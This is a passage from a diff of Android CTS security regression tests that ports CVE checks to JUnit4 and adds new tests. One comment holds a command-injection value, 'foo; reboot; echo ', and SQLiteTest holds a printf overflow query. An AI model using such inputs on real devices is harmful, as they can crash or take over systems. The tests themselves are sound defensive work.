Exception { verifyZeroPVSizeRejectedForSetParameter( AudioEffect.EFFECT_TYPE_ENV_REVERB, new int[] { @@ -263,6 +286,7 @@ public class EffectBundleTest extends InstrumentationTestCase { //Testing security bug: 67647856 @AsbSecurityTest(cveBugId = 67647856) + @Test public void testPresetReverb_setParameter() throws Exception { verifyZeroPVSizeRejectedForSetParameter( AudioEffect.EFFECT_TYPE_PRESET_REVERB, new int[] { @@ -478,36 +502,39 @@ public class EffectBundleTest extends InstrumentationTestCase { UUID effectType, final int paramCodes[]) throws Exception { boolean effectFound = false; - for (AudioEffect.Descriptor descriptor : AudioEffect.queryEffects()) { - if (descriptor.type.compareTo(effectType) != 0) continue; - - effectFound = true; - AudioEffect ae = null; - MediaPlayer mp = null; - try { - mp = MediaPlayer.create(getInstrumentation().getContext(), R.raw.good); - java.lang.reflect.Constructor ct = AudioEffect.class.getConstructor( - UUID.class, UUID.class, int.class, int.class); + AudioEffect.Descriptor[] descriptors = AudioEffect.queryEffects(); + if (descriptors != null) { + for (AudioEffect.Descriptor descriptor : descriptors) { + if (descriptor.type.compareTo(effectType) != 0) continue; + + effectFound = true; + AudioEffect ae = null; + MediaPlayer mp = null; try { - ae = (AudioEffect) ct.newInstance(descriptor.type, descriptor.uuid, - /*priority*/ 0, mp.getAudioSessionId()); - } catch (Exception e) { - // Not every effect can be instantiated by apps. - Log.w(TAG, "Failed to create effect " + descriptor.uuid); - continue; - } - java.lang.reflect.Method command = AudioEffect.class.getDeclaredMethod( - "command", int.class, byte[].class, byte[].class); - for (int paramCode : paramCodes) { - executeSetParameter(ae, command, intSize, 0, paramCode); - executeSetParameter(ae, command, 0, intSize, paramCode); - } - } finally { - if (ae != null) { - ae.release(); - } - if (mp != null) { - mp.release(); + mp = MediaPlayer.create(getInstrumentation().getContext(), R.raw.good); + java.lang.reflect.Constructor ct = AudioEffect.class.getConstructor( + UUID.class, UUID.class, int.class, int.class); + try { + ae = (AudioEffect) ct.newInstance(descriptor.type, descriptor.uuid, + /*priority*/ 0, mp.getAudioSessionId()); + } catch (Exception e) { + // Not every effect can be instantiated by apps. + Log.w(TAG, "Failed to create effect " + descriptor.uuid); + continue; + } + java.lang.reflect.Method command = AudioEffect.class.getDeclaredMethod( + "command", int.class, byte[].class, byte[].class); + for (int paramCode : paramCodes) { + executeSetParameter(ae, command, intSize, 0, paramCode); + executeSetParameter(ae, command, 0, intSize, paramCode); + } + } finally { + if (ae != null) { + ae.release(); + } + if (mp != null) { + mp.release(); + } } } } diff --git a/tests/tests/security/src/android/security/cts/FlagSlipperyTest.kt b/tests/tests/security/src/android/security/cts/FlagSlipperyTest.kt index 8fe8054a2d9..0ceee07f446 100644 --- a/tests/tests/security/src/android/security/cts/FlagSlipperyTest.kt +++ b/tests/tests/security/src/android/security/cts/FlagSlipperyTest.kt @@ -16,7 +16,6 @@ package android.security.cts -import android.app.Instrumentation import android.graphics.Rect import android.os.SystemClock import android.platform.test.annotations.AsbSecurityTest @@ -34,8 +33,8 @@ import androidx.test.core.app.ActivityScenario import androidx.test.ext.junit.rules.ActivityScenarioRule import androidx.test.ext.junit.runners.AndroidJUnit4 import androidx.test.filters.MediumTest -import androidx.test.platform.app.InstrumentationRegistry import com.android.compatibility.common.util.PollingCheck +import com.android.sts.common.util.StsExtraBusinessLogicTestCase import org.junit.After import org.junit.Assert.assertEquals import org.junit.Assert.assertNull @@ -115,8 +114,7 @@ private class SurfaceCreatedCallback(created: CountDownLatch) : SurfaceHolder.Ca * test code. The third approach requires adding an embedded window, and the code for that test was * forked to avoid excessive branching. */ -class FlagSlipperyTest { - private val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation() +class FlagSlipperyTest : StsExtraBusinessLogicTestCase { private lateinit var scenario: ActivityScenario<SlipperyEnterBottomActivity> private lateinit var windowManager: WindowManager @@ -132,10 +130,12 @@ class FlagSlipperyTest { val rule = ActivityScenarioRule<SlipperyEnterBottomActivity>( SlipperyEnterBottomActivity::class.java) + constructor() : super() + @Before fun setup() { scenario = rule.getScenario() - windowManager = instrumentation.getTargetContext().getSystemService<WindowManager>( + windowManager = getInstrumentation().getTargetContext().getSystemService<WindowManager>( WindowManager::class.java) setDimensionsToQuarterScreen() @@ -156,7 +156,7 @@ class FlagSlipperyTest { // ========================== Regular window tests ============================================= private fun addWindow(slipperyWhenAdded: Boolean): View { - val view = View(instrumentation.targetContext) + val view = View(getInstrumentation().targetContext) scenario.onActivity { view.setOnTouchListener(OnTouchListener(view)) view.setBackgroundColor(android.graphics.Color.RED) @@ -220,7 +220,7 @@ class FlagSlipperyTest { private lateinit var mVr: SurfaceControlViewHost private fun addEmbeddedHostWindow(): SurfaceView { - val surfaceView = SurfaceView(instrumentation.targetContext) + val surfaceView = SurfaceView(getInstrumentation().targetContext) val surfaceCreated = CountDownLatch(1) scenario.onActivity { surfaceView.setZOrderOnTop(true) @@ -247,7 +247,7 @@ class FlagSlipperyTest { embeddedViewDrawn.countDown() } layoutCompleted.set(false) - val embeddedView = View(instrumentation.targetContext) + val embeddedView = View(getInstrumentation().targetContext) scenario.onActivity { embeddedView.setOnTouchListener(OnTouchListener(surfaceView)) embeddedView.setBackgroundColor(android.graphics.Color.RED) @@ -340,7 +340,7 @@ class FlagSlipperyTest { PollingCheck.waitFor { layoutCompleted.get() } - instrumentation.uiAutomation.syncInputTransactions(true /*waitAnimations*/) + getInstrumentation().uiAutomation.syncInputTransactions(true /*waitAnimations*/) } private fun setDimensionsToQuarterScreen() { @@ -360,7 +360,7 @@ class FlagSlipperyTest { } val event = MotionEvent.obtain(downTime, eventTime, action, x, y, 0 /*metaState*/) event.source = InputDevice.SOURCE_TOUCHSCREEN - instrumentation.uiAutomation.injectInputEvent(event, true /*sync*/) + getInstrumentation().uiAutomation.injectInputEvent(event, true /*sync*/) } companion object { diff --git a/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java b/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java index 60b329f794c..91e39e8a5fe 100644 --- a/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java +++ b/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java @@ -15,6 +15,7 @@ */ package android.security.cts; +import android.app.Instrumentation; import android.content.ComponentName; import android.content.Context; import android.content.Intent; @@ -25,14 +26,21 @@ import android.os.RemoteException; import android.platform.test.annotations.AsbSecurityTest; import android.security.cts.IIsolatedService; import android.security.cts.IsolatedService; -import android.test.AndroidTestCase; import android.util.Log; +import androidx.test.InstrumentationRegistry; import com.android.internal.util.ArrayUtils; import java.util.concurrent.CountDownLatch; import java.util.concurrent.TimeUnit; import junit.framework.Assert; +import org.junit.Before; +import org.junit.After; -public class IsolatedProcessTest extends AndroidTestCase { +import androidx.test.runner.AndroidJUnit4; +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(AndroidJUnit4.class) +public class IsolatedProcessTest { static final String TAG = IsolatedProcessTest.class.getSimpleName(); private static final long BIND_SERVICE_TIMEOUT = 5000; @@ -65,15 +73,20 @@ public class IsolatedProcessTest extends AndroidTestCase { } }; - @Override + private static Instrumentation getInstrumentation() { + return InstrumentationRegistry.getInstrumentation(); + } + + @Before public void setUp() throws InterruptedException { mLatch = new CountDownLatch(1); - Intent serviceIntent = new Intent(mContext, IsolatedService.class); - mContext.bindService(serviceIntent, mServiceConnection, Context.BIND_AUTO_CREATE); + Intent serviceIntent = new Intent(getInstrumentation().getContext(), IsolatedService.class); + getInstrumentation().getContext().bindService(serviceIntent, mServiceConnection, Context.BIND_AUTO_CREATE); Assert.assertTrue("Timed out while waiting to bind to isolated service", mLatch.await(BIND_SERVICE_TIMEOUT, TimeUnit.MILLISECONDS)); } + @Test @AsbSecurityTest(cveBugId = 30202228) public void testGetCachedServicesFromIsolatedService() throws RemoteException { String[] cachedServices = mService.getCachedSystemServices(); @@ -83,6 +96,7 @@ public class IsolatedProcessTest extends AndroidTestCase { } } + @Test @AsbSecurityTest(cveBugId = 30202228) public void testGetServiceFromIsolatedService() throws RemoteException { for (String serviceName : RESTRICTED_SERVICES_TO_TEST) { @@ -92,14 +106,15 @@ public class IsolatedProcessTest extends AndroidTestCase { } } + @Test public void testGetProcessIsIsolated() throws RemoteException { Assert.assertFalse(Process.isIsolated()); Assert.assertTrue(mService.getProcessIsIsolated()); } - @Override + @After public void tearDown() { - mContext.unbindService(mServiceConnection); + getInstrumentation().getContext().unbindService(mServiceConnection); } } diff --git a/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java b/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java index b4275169539..4b8b178ab71 100644 --- a/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java +++ b/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java @@ -18,16 +18,24 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; import android.media.MediaRecorder; -import android.test.AndroidTestCase; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import android.util.Log; import java.io.File; -public class MediaRecorderInfoLeakTest extends AndroidTestCase { +import static org.junit.Assert.*; + +import androidx.test.runner.AndroidJUnit4; +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(AndroidJUnit4.class) +public class MediaRecorderInfoLeakTest extends StsExtraBusinessLogicTestCase { /** * b/27855172 */ + @Test @AsbSecurityTest(cveBugId = 27855172) public void test_cve_2016_2499() throws Exception { MediaRecorder mediaRecorder = null; diff --git a/tests/tests/security/src/android/security/cts/Movie33897722.java b/tests/tests/security/src/android/security/cts/Movie33897722.java index 2ce16101b02..3ab3bb2cbf8 100644 --- a/tests/tests/security/src/android/security/cts/Movie33897722.java +++ b/tests/tests/security/src/android/security/cts/Movie33897722.java @@ -16,6 +16,8 @@ package android.security.cts; +import static org.junit.Assert.*; + import android.graphics.Bitmap; import android.graphics.Canvas; import android.graphics.Color; @@ -24,13 +26,20 @@ import android.graphics.Paint; import android.graphics.PorterDuff; import android.graphics.PorterDuffXfermode; import android.platform.test.annotations.AsbSecurityTest; -import android.test.AndroidTestCase; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import java.io.InputStream; +import org.junit.runner.RunWith; +import org.junit.Test; import android.security.cts.R; -public class Movie33897722 extends AndroidTestCase { +import androidx.test.runner.AndroidJUnit4; +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(AndroidJUnit4.class) +public class Movie33897722 extends StsExtraBusinessLogicTestCase { /** * Verifies that decoding a particular GIF file does not read out out of bounds. * @@ -39,6 +48,7 @@ public class Movie33897722 extends AndroidTestCase { * color map, which would be reading memory that we do not control, and may be uninitialized. */ @AsbSecurityTest(cveBugId = 33897722) + @Test public void test_android_bug_33897722() { // The image has a 10 x 10 frame on top of a transparent background. Only test the // 10 x 10 frame, since the original bug would never have used uninitialized memory @@ -47,6 +57,7 @@ public class Movie33897722 extends AndroidTestCase { } @AsbSecurityTest(cveBugId = 37662286) + @Test public void test_android_bug_37662286() { // The image has a background color that is out of range. Arbitrarily test // the upper left corner. (Most of the image is transparent.) @@ -62,7 +73,7 @@ public class Movie33897722 extends AndroidTestCase { int drawWidth, int drawHeight) { assertTrue(drawWidth <= screenWidth && drawHeight <= screenHeight); - InputStream exploitImage = mContext.getResources().openRawResource(resId); + InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(resId); Movie movie = Movie.decodeStream(exploitImage); assertNotNull(movie); assertEquals(movie.width(), screenWidth); diff --git a/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java b/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java index 4f5754cfbb7..135d4935a55 100644 --- a/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java +++ b/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java @@ -16,7 +16,6 @@ package android.security.cts; -import android.test.AndroidTestCase; import android.platform.test.annotations.AsbSecurityTest; import androidx.test.InstrumentationRegistry; @@ -49,12 +48,23 @@ import android.os.SystemClock; import android.util.Log; import android.annotation.Nullable; import android.platform.test.annotations.AppModeFull; +import androidx.test.runner.AndroidJUnit4; + +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; + +import org.junit.After; +import org.junit.Before; +import org.junit.runner.RunWith; +import org.junit.Test; import static java.lang.Thread.sleep; import static org.junit.Assert.assertTrue; +import static org.junit.Assert.fail; @AppModeFull -public class NanoAppBundleTest extends AndroidTestCase { +@RunWith(AndroidJUnit4.class) +public class NanoAppBundleTest extends StsExtraBusinessLogicTestCase { + private Context mContext; private static final String TAG = "NanoAppBundleTest"; private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts"; @@ -72,27 +82,27 @@ public class NanoAppBundleTest extends AndroidTestCase { } }; - @Override - protected void setUp() throws Exception { - super.setUp(); + @Before + public void setUp() throws Exception { + mContext = getInstrumentation().getContext(); Intent serviceIntent = new Intent(mContext, AuthenticatorService.class); mContext.startService(serviceIntent); mContext.bindService(serviceIntent, mServiceConnection, Context.BIND_AUTO_CREATE); } - @Override - protected void tearDown() throws Exception { + @After + public void tearDown() throws Exception { if (mContext != null) { Intent serviceIntent = new Intent(mContext, AuthenticatorService.class); mContext.stopService(serviceIntent); } - super.tearDown(); } /** * b/113527124 */ @AsbSecurityTest(cveBugId = 77599679) + @Test public void testPoc_cve_2018_9471() throws Exception { try { diff --git a/tests/tests/security/src/android/security/cts/NativeCodeTest.java b/tests/tests/security/src/android/security/cts/NativeCodeTest.java index c5a9bac2504..53c05c0e53e 100644 --- a/tests/tests/security/src/android/security/cts/NativeCodeTest.java +++ b/tests/tests/security/src/android/security/cts/NativeCodeTest.java @@ -18,15 +18,22 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; -import junit.framework.TestCase; +import androidx.test.runner.AndroidJUnit4; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; +import org.junit.runner.RunWith; +import org.junit.Test; -public class NativeCodeTest extends TestCase { +import static org.junit.Assert.*; + +@RunWith(AndroidJUnit4.class) +public class NativeCodeTest extends StsExtraBusinessLogicTestCase { static { System.loadLibrary("ctssecurity_jni"); } @AsbSecurityTest(cveBugId = 22300191) + @Test public void testSysVipc() throws Exception { assertTrue("Android does not support Sys V IPC, it must " + "be removed from the kernel. In the kernel config: " diff --git a/tests/tests/security/src/android/security/cts/NetdTest.java b/tests/tests/security/src/android/security/cts/NetdTest.java index 14623fd4085..463d443dc82 100644 --- a/tests/tests/security/src/android/security/cts/NetdTest.java +++ b/tests/tests/security/src/android/security/cts/NetdTest.java @@ -20,13 +20,17 @@ import android.os.Binder; import android.os.IBinder; import android.platform.test.annotations.AsbSecurityTest; -import junit.framework.TestCase; +import androidx.test.runner.AndroidJUnit4; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; +import org.junit.runner.RunWith; +import org.junit.Test; import java.lang.Class; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; -public class NetdTest extends TestCase { +@RunWith(AndroidJUnit4.class) +public class NetdTest extends StsExtraBusinessLogicTestCase { /** * Detect if netd has unsanitized system call in Throttle API. @@ -34,6 +38,7 @@ public class NetdTest extends TestCase { * serv.setInterfaceThrottle("foo; reboot; echo ", -1, -1); */ @AsbSecurityTest(cveBugId = 5758556) + @Test public void testThrottleSanitization() { try { diff --git a/tests/tests/security/src/android/security/cts/OutputConfigurationTest.java b/tests/tests/security/src/android/security/cts/OutputConfigurationTest.java index f810817c650..f68c097686d 100644 --- a/tests/tests/security/src/android/security/cts/OutputConfigurationTest.java +++ b/tests/tests/security/src/android/security/cts/OutputConfigurationTest.java @@ -16,20 +16,27 @@ package android.security.cts; +import static org.junit.Assert.*; + import android.graphics.SurfaceTexture; import android.hardware.camera2.params.OutputConfiguration; import android.os.Parcel; import android.platform.test.annotations.AsbSecurityTest; -import android.test.AndroidTestCase; import android.util.Size; import android.view.Surface; import android.view.TextureView; +import androidx.test.runner.AndroidJUnit4; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; +import org.junit.runner.RunWith; +import org.junit.Test; /** * Verify that OutputConfiguration's fields propagate through parcel properly. */ -public class OutputConfigurationTest extends AndroidTestCase { +@RunWith(AndroidJUnit4.class) +public class OutputConfigurationTest extends StsExtraBusinessLogicTestCase { @AsbSecurityTest(cveBugId = 69683251) + @Test public void testSharedSurfaceOutputConfigurationBasic() throws Exception { SurfaceTexture outputTexture = new SurfaceTexture(/* random texture ID */ 5); Surface surface = new Surface(outputTexture); diff --git a/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java b/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java index 5b4e5301be7..d2d70d85e59 100644 --- a/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java +++ b/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java @@ -16,7 +16,8 @@ package android.security.cts; -import android.test.AndroidTestCase; +import static org.junit.Assert.*; + import android.platform.test.annotations.AsbSecurityTest; import android.security.cts.R; @@ -26,13 +27,21 @@ import android.os.BaseBundle; import android.os.Bundle; import android.os.Parcel; import android.util.Log; +import androidx.test.runner.AndroidJUnit4; + +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import java.io.File; import java.lang.reflect.Field; -public class ParcelableExceptionTest extends AndroidTestCase { +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(AndroidJUnit4.class) +public class ParcelableExceptionTest extends StsExtraBusinessLogicTestCase { @AsbSecurityTest(cveBugId = 65281159) + @Test public void test_CVE_2017_0871() throws Exception { String filePath = "/data/system/" + System.currentTimeMillis(); File file = new File(filePath); diff --git a/tests/tests/security/src/android/security/cts/PutOverflowTest.java b/tests/tests/security/src/android/security/cts/PutOverflowTest.java index 2bf7a85e063..4667859957e 100644 --- a/tests/tests/security/src/android/security/cts/PutOverflowTest.java +++ b/tests/tests/security/src/android/security/cts/PutOverflowTest.java @@ -17,10 +17,18 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; -import android.test.AndroidTestCase; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import java.lang.reflect.Method; -public class PutOverflowTest extends AndroidTestCase { +import static org.junit.Assert.*; + +import androidx.test.runner.AndroidJUnit4; +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(AndroidJUnit4.class) +public class PutOverflowTest extends StsExtraBusinessLogicTestCase { + @Test @AsbSecurityTest(cveBugId = 22802399) public void testCrash() throws Exception { try { diff --git a/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java b/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java index 8405acc0265..293200e5541 100644 --- a/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java +++ b/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java @@ -19,11 +19,17 @@ package android.security.cts; import android.app.ActivityManager; import android.content.Context; import android.platform.test.annotations.AsbSecurityTest; -import android.test.AndroidTestCase; +import androidx.test.runner.AndroidJUnit4; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; +import org.junit.runner.RunWith; +import org.junit.Test; + +import static org.junit.Assert.*; import java.util.List; -public class RunningAppProcessInfoTest extends AndroidTestCase { +@RunWith(AndroidJUnit4.class) +public class RunningAppProcessInfoTest extends StsExtraBusinessLogicTestCase { /* * This test verifies severity vulnerability: apps can bypass the L restrictions in * getRunningTasks()is fixed. The test tries to get current RunningAppProcessInfo and passes @@ -31,9 +37,10 @@ public class RunningAppProcessInfoTest extends AndroidTestCase { */ @AsbSecurityTest(cveBugId = 20034603) + @Test public void testRunningAppProcessInfo() { ActivityManager amActivityManager = - (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE); + (ActivityManager) getInstrumentation().getContext().getSystemService(Context.ACTIVITY_SERVICE); List<ActivityManager.RunningAppProcessInfo> appList = amActivityManager.getRunningAppProcesses(); // The test will pass if it is able to get only its process info diff --git a/tests/tests/security/src/android/security/cts/SQLiteTest.java b/tests/tests/security/src/android/security/cts/SQLiteTest.java index a3a14d40a41..84d36fa0a7a 100644 --- a/tests/tests/security/src/android/security/cts/SQLiteTest.java +++ b/tests/tests/security/src/android/security/cts/SQLiteTest.java @@ -28,14 +28,21 @@ import android.database.sqlite.SQLiteDatabase; import android.net.Uri; import android.platform.test.annotations.AsbSecurityTest; import android.provider.VoicemailContract; -import android.test.AndroidTestCase; import androidx.test.InstrumentationRegistry; +import androidx.test.runner.AndroidJUnit4; + +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import java.io.File; import java.io.FileInputStream; -public class SQLiteTest extends AndroidTestCase { +import org.junit.Before; +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(AndroidJUnit4.class) +public class SQLiteTest extends StsExtraBusinessLogicTestCase { private static final String DATABASE_FILE_NAME = "database_test.db"; private ContentResolver mResolver; @@ -44,9 +51,8 @@ public class SQLiteTest extends AndroidTestCase { private SQLiteDatabase mDatabase; - @Override - protected void setUp() throws Exception { - super.setUp(); + @Before + public void setUp() throws Exception { mResolver = getContext().getContentResolver(); mContext = InstrumentationRegistry.getTargetContext(); mPackageName = mContext.getPackageName(); @@ -62,6 +68,7 @@ public class SQLiteTest extends AndroidTestCase { * b/139186193 */ @AsbSecurityTest(cveBugId = 139186193) + @Test public void test_android_cve_2019_2195() { Uri uri = VoicemailContract.Voicemails.CONTENT_URI; uri = uri.buildUpon().appendQueryParameter("source_package", mPackageName).build(); @@ -99,6 +106,7 @@ public class SQLiteTest extends AndroidTestCase { * b/153352319 */ @AsbSecurityTest(cveBugId = 153352319) + @Test public void test_android_float_to_text_conversion_overflow() { String create_cmd = "select (printf('%.2147483647G',0.01));"; try (Cursor c = mDatabase.rawQuery(create_cmd, null)) { diff --git a/tests/tests/security/src/android/security/cts/STKFrameworkTest.java b/tests/tests/security/src/android/security/cts/STKFrameworkTest.java index 7e6fb7c87e3..2765de4ac52 100644 --- a/tests/tests/security/src/android/security/cts/STKFrameworkTest.java +++ b/tests/tests/security/src/android/security/cts/STKFrameworkTest.java @@ -15,33 +15,35 @@ */ package android.security.cts; +import static org.junit.Assert.*; + import android.content.ComponentName; import android.content.Intent; import android.platform.test.annotations.AsbSecurityTest; -import android.test.AndroidTestCase; import android.content.pm.PackageManager; -import android.test.AndroidTestCase; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; + +import androidx.test.runner.AndroidJUnit4; +import org.junit.Before; +import org.junit.runner.RunWith; +import org.junit.Test; -public class STKFrameworkTest extends AndroidTestCase { +@RunWith(AndroidJUnit4.class) +public class STKFrameworkTest extends StsExtraBusinessLogicTestCase { private boolean mHasTelephony; - @Override - protected void setUp() throws Exception { - super.setUp(); + @Before + public void setUp() throws Exception { mHasTelephony = getContext().getPackageManager().hasSystemFeature( PackageManager.FEATURE_TELEPHONY); } - @Override - protected void tearDown() throws Exception { - super.tearDown(); - } - /* * Verifies commands Intercepting which has been sent from SIM card to Telephony using * zero-permission malicious application */ @AsbSecurityTest(cveBugId = 21697171) + @Test public void testInterceptedSIMCommandsToTelephony() { if (!mHasTelephony) { return; @@ -54,7 +56,7 @@ public class STKFrameworkTest extends AndroidTestCase { ComponentName.unflattenFromString("com.android.stk/com.android.stk.StkCmdReceiver"); intent.setComponent(cn); try { - mContext.sendBroadcast(intent); + getInstrumentation().getContext().sendBroadcast(intent); fail("Able to send broadcast which can be received by any app which has registered " + "broadcast for action 'com.android.internal.stk.command' since it is not " + "protected with any permission. Device is vulnerable to CVE-2015-3843."); diff --git a/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java b/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java index 4a9802fc307..de6a9ac2707 100644 --- a/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java +++ b/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java @@ -19,26 +19,33 @@ package android.security.cts; import android.graphics.Bitmap; import android.graphics.BitmapFactory; import android.platform.test.annotations.AsbSecurityTest; -import android.test.AndroidTestCase; +import androidx.test.runner.AndroidJUnit4; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; +import org.junit.runner.RunWith; +import org.junit.Test; import java.io.InputStream; import android.security.cts.R; import android.platform.test.annotations.AsbSecurityTest; -public class SkiaICORecursiveDecodingTest extends AndroidTestCase { +@RunWith(AndroidJUnit4.class) +public class SkiaICORecursiveDecodingTest extends StsExtraBusinessLogicTestCase { @AsbSecurityTest(cveBugId = 73782357) + @Test public void testAndroid_cve_2017_13318() { doSkiaIcoRecursiveDecodingTest(R.raw.cve_2017_13318); } @AsbSecurityTest(cveBugId = 17262540) + @Test public void test_android_bug_17262540() { doSkiaIcoRecursiveDecodingTest(R.raw.bug_17262540); } @AsbSecurityTest(cveBugId = 17265466) + @Test public void test_android_bug_17265466() { doSkiaIcoRecursiveDecodingTest(R.raw.bug_17265466); } @@ -47,7 +54,7 @@ public class SkiaICORecursiveDecodingTest extends AndroidTestCase { * Verifies that the device prevents recursive decoding of malformed ICO files */ public void doSkiaIcoRecursiveDecodingTest(int resId) { - InputStream exploitImage = mContext.getResources().openRawResource(resId); + InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(resId); /** * The decodeStream method results in SIGSEGV (Segmentation fault) on unpatched devices * while decoding the exploit image which will lead to process crash diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java index 6820f2ce614..af5fb29dcb5 100644 --- a/tests/tests/security/src/android/security/cts/StagefrightTest.java +++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java @@ -22,6 +22,7 @@ */ package android.security.cts; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import android.app.Instrumentation; import android.content.Context; import android.content.res.AssetFileDescriptor; @@ -100,20 +101,14 @@ import static org.junit.Assert.*; */ @AppModeFull @RunWith(AndroidJUnit4.class) -public class StagefrightTest { +public class StagefrightTest extends StsExtraBusinessLogicTestCase { static final String TAG = "StagefrightTest"; - private Instrumentation mInstrumentation; private final long TIMEOUT_NS = 10000000000L; // 10 seconds. private final static long CHECK_INTERVAL = 50; @Rule public TestName name = new TestName(); - @Before - public void setup() { - mInstrumentation = InstrumentationRegistry.getInstrumentation(); - } - class CodecConfig { boolean isAudio; /* Video Parameters - valid only when isAudio is false */ @@ -1821,6 +1816,12 @@ public class StagefrightTest { before any existing test methods ***********************************************************/ @Test + @AsbSecurityTest(cveBugId = 157906313) + public void testStagefright_cve_2020_11135() throws Exception { + doStagefrightTest(R.raw.cve_2020_11135); + } + + @Test @AsbSecurityTest(cveBugId = 136175447) public void testStagefright_cve_2019_2186() throws Exception { long end = System.currentTimeMillis() + 180000; // 3 minutes from now @@ -3259,8 +3260,4 @@ public class StagefrightTest { assertFalse(hung); } - - private Instrumentation getInstrumentation() { - return mInstrumentation; - } } diff --git a/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java b/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java index 3be7534774a..945d1190f20 100644 --- a/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java +++ b/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java @@ -22,22 +22,25 @@ import android.platform.test.annotations.AsbSecurityTest; import android.media.audiofx.AudioEffect; import android.media.MediaPlayer; import android.media.audiofx.Visualizer; -import android.test.AndroidTestCase; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import android.util.Log; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.UUID; +import static org.junit.Assert.*; -public class VisualizerEffectTest extends AndroidTestCase { +import androidx.test.runner.AndroidJUnit4; +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(AndroidJUnit4.class) +public class VisualizerEffectTest extends StsExtraBusinessLogicTestCase { private String TAG = "VisualizerEffectTest"; - @Override - protected void setUp() throws Exception { - super.setUp(); - } //Testing security bug: 30229821 + @Test @AsbSecurityTest(cveBugId = 30229821) public void testVisualizer_MalformedConstructor() throws Exception { final String VISUALIZER_TYPE = "e46b26a0-dddd-11db-8afd-0002a5d5c51b"; @@ -80,4 +83,4 @@ public class VisualizerEffectTest extends AndroidTestCase { Log.w(TAG,"No visualizer found to test"); } } -}
\ No newline at end of file +} diff --git a/tests/tests/security/src/android/security/cts/WallpaperManagerTest.java b/tests/tests/security/src/android/security/cts/WallpaperManagerTest.java new file mode 100644 index 00000000000..fda462b9cd5 --- /dev/null +++ b/tests/tests/security/src/android/security/cts/WallpaperManagerTest.java @@ -0,0 +1,94 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import static android.view.Display.DEFAULT_DISPLAY; +import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION; + +import android.Manifest; +import android.app.WallpaperManager; +import android.content.Context; +import android.graphics.Rect; +import android.hardware.display.DisplayManager; +import android.platform.test.annotations.AsbSecurityTest; +import android.view.Display; + +import androidx.test.platform.app.InstrumentationRegistry; + +import com.android.compatibility.common.util.CtsAndroidTestCase; + +import org.junit.After; +import org.junit.Before; + +public class WallpaperManagerTest extends CtsAndroidTestCase { + + @Before + public void setUp() { + InstrumentationRegistry + .getInstrumentation() + .getUiAutomation() + .adoptShellPermissionIdentity(Manifest.permission.SET_WALLPAPER_HINTS); + } + + @After + public void tearDown() throws Exception { + InstrumentationRegistry.getInstrumentation().getUiAutomation() + .dropShellPermissionIdentity(); + } + + // b/204316511 + @AsbSecurityTest(cveBugId = 204316511) + public void 